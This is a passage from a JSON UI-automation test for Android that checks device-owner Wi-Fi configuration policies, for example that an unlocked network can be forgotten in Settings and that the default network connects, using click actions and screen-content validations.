":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":94.5,\"x2\":210.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":201.5,\"y\":154.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-21.625,\"y\":-14.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"c7dac0d3-e7de-4072-826c-4c0c0a26c0de\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":138.0,\"y1\":144.0,\"x2\":265.0,\"y2\":165.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Forget button is disappear\",\"actionId\":\"650972c4-e9ca-4d99-be02-3b649ad7ce44\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Forget\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"245c37f1-2c9f-4b8e-944e-20ee4afbd0be\",\"displayText\":\"Disconnect\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"91bed57e-7418-4d14-9b32-0e593b9a2819\",\"displayText\":\"Disconnect\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/button3\",\"text\":\"Disconnect\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":176.5,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-10.75,\"y\":-9.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Disconnect\"},{\"uuid\":\"6a458e52-33e1-4027-91c1-e221a92ccb69\",\"displayText\":\"Share\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/button4\",\"text\":\"Share\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":183.5,\"y1\":199.0,\"x2\":353.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Share\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":199.0,\"x2\":360.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.5,\"y\":246.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":77.5,\"y\":-9.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"91bed57e-7418-4d14-9b32-0e593b9a2819\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Forget\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":44.0,\"y1\":227.0,\"x2\":161.0,\"y2\":266.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"8408d921-e765-442b-ade1-42d039034ae7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"29abf9a4-5621-459e-ba30-da5bcbc48c3d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 3-Locked config can be connected to\",\"actionId\":\"54c431fe-0cf0-4e4d-9418-f5a2937b0a79\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Locked config can be connected to\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, $uicd_device_owner_WiFi_configuration_SSID_default\",\"actionId\":\"f15f2ddd-4fcb-4aa3-9498-964e417bbf30\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"$uicd_device_owner_WiFi_configuration_SSID_default\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if it can connect to default WiFi\",\"actionId\":\"29c8de31-45ed-4145-a80c-a31d22c9a9ee\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID_default\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b4e39222-b73a-47cc-b31e-5fed9aa13115\",\"displayText\":\"chtn\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"de757bb9-1bee-4af9-af4f-6e588cd84d76\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":159.0,\"y1\":94.5,\"x2\":201.0,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"3ad12ff0-98d5-49a9-82fa-56a159ae6b0a\",\"displayText\":\"chtn\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"chtn\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":161.5,\"y1\":143.5,\"x2\":198.25,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.375,\"y\":0.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"chtn\"},{\"uuid\":\"d6766bb0-ded2-4edb-99d0-a1ce10821b13\",\"displayText\":\"Connected\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_summary\",\"text\":\"Connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.5,\"y1\":168.5,\"x2\":209.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.5,\"y1\":94.5,\"x2\":209.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.5,\"y\":155.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":-15.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"3ad12ff0-98d5-49a9-82fa-56a159ae6b0a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID_default\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":142.0,\"y1\":145.0,\"x2\":211.0,\"y2\":165.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"286ff5d7-4bb9-4bad-8280-336eafa5f21d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, $uicd_device_owner_WiFi_configuration_SSID\",\"actionId\":\"76b2753e-4cd6-4ecd-b9ec-a7de67e09815\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"$uicd_device_owner_WiFi_configuration_SSID\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify WiFi configuration can be connected to manually\",\"actionId\":\"d7d70f3a-953b-4b57-85a5-fba193e5f7c6\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"39983b6b-1e93-403c-a823-1de5afe734ee\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"88190d46-1aa5-44bc-8834-2ac978d25874\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.75,\"y1\":94.5,\"x2\":200.75,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"13128363-87cd-4a49-bf96-4ccce6fe409d\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"wifitest\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":143.5,\"x2\":210.5,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.875,\"y\":1.625,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"wifitest\"},{\"uuid\":\"39cba4c3-7562-42a0-ad44-59bf21661102\",\"displayText\":\"Connected\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_summary\",\"text\":\"Connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.25,\"y1\":168.5,\"x2\":209.25,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":94.5,\"x2\":210.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":177.0,\"y\":153.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.875,\"y\":-13.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"13128363-87cd-4a49-bf96-4ccce6fe409d\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":129.0,\"y1\":140.0,\"x2\":225.0,\"y2\":167.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7ea68f53-c6ac-4c87-b31f-809fa2329e62\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"5a36ee45-8fdc-466e-aa4b-6caa4f0cb12a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Unlocked config can be forgotten in Settings\",\"actionId\":\"ecfc4543-8915-48a4-8c88-fb8b2428cd00\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Unlocked config can be forgotten in Settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"027ab3c0-3a7c-44b8-a7f2-a9a6fc68c4e9\",\"displayText\":\"Unlocked config can be forgotten in Settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Unlocked config can be forgotten in Settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":611.0,\"x2\":360.0,\"y2\":653.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":154.0,\"y\":635.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":26.0,\"y\":-3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"027ab3c0-3a7c-44b8-a7f2-a9a6fc68c4e9\",\"firstText\":\"Unlocked config can be forgotten in Settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Unlocked config can be forgotten in Settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":622.0,\"x2\":307.0,\"y2\":649.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 4-Unlocked config can be forgotten in Settings\",\"actionId\":\"3443942d-ebec-4ed6-90e1-fbf3acf4befe\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Unlocked config can be forgotten in Settings\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if it is correct SSID\",\"actionId\":\"7750df67-ceb1-48cc-975e-477dc2f4281a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"174dc4ee-3740-438e-869a-ee3012488a1e\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"2db11ef0-e318-43fc-9b16-1dd1801d1ac4\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.75,\"y1\":94.5,\"x2\":200.75,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"7d56f18a-e5fa-452c-ae4a-aa8c87f54a05\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"wifitest\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":143.5,\"x2\":210.5,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.125,\"y\":-1.875,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"wifitest\"},{\"uuid\":\"da591841-ff44-4f1e-8e78-990ac2339211\",\"displayText\":\"Connected\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_summary\",\"text\":\"Connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.25,\"y1\":168.5,\"x2\":209.25,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":94.5,\"x2\":210.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":182.0,\"y\":157.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.125,\"y\":-17.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"7d56f18a-e5fa-452c-ae4a-aa8c87f54a05\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":137.0,\"y1\":146.0,\"x2\":227.0,\"y2\":168.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Forget button\",\"actionId\":\"396cd822-8388-41a4-9a4f-f4752486ae89\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button1\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Saved networks\",\"actionId\":\"05d2eb57-80ef-426d-af74-e058d689d612\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Saved networks\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"bb80ebc4-1eb5-4d65-897f-76c0bcc633ce\",\"displayText\":\"Saved networks\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"01d2bf16-2ac2-4360-afd0-19cccc6ee61b\",\"displayText\":\"Saved networks\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"375733b5-2b38-432e-9f07-25b0e957bd6f\",\"displayText\":\"Saved networks\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Saved networks\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":605.0,\"x2\":163.75,\"y2\":624.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.125,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Saved networks\"},{\"uuid\":\"23e3c21b-56ee-4d90-a44d-86e6936a1043\",\"displayText\":\"1 network\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"1 network\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":624.0,\"x2\":117.0,\"y2\":640.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"1 network\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":591.0,\"x2\":346.0,\"y2\":654.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Saved networks\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":591.0,\"x2\":360.0,\"y2\":654.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":113.5,\"y\":613.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":66.5,\"y\":9.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"375733b5-2b38-432e-9f07-25b0e957bd6f\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Saved networks\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":56.0,\"y1\":602.0,\"x2\":171.0,\"y2\":625.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Saved networks\",\"actionId\":\"38a4c1ca-cda0-4ffa-8e38-b82bcad2b3d5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Saved networks\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if WiFi SSID is forgot\",\"actionId\":\"7afd276e-4ecf-4d7c-b222-c9195e4ccccc\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b5334622-bbef-4b13-9cac-59052cdec7bb\",\"displayText\":\"chtn\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"270a2d9e-9af1-4538-a8ce-1ed28550e3a6\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"232e851a-a44c-4041-ae2d-450b87af7724\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":136.0,\"x2\":35.0,\"y2\":157.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":132.5,\"x2\":63.0,\"y2\":160.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"28a17752-3114-4499-b7e6-eb6f43d7e578\",\"displayText\":\"chtn\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"10f68042-feea-4074-b770-b4194e5439af\",\"displayText\":\"chtn\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"chtn\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":128.75,\"x2\":91.5,\"y2\":147.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-10.25,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"chtn\"},{\"uuid\":\"485f1446-2148-4f7a-87eb-c8698bc9b78e\",\"displayText\":\"Saved by Android 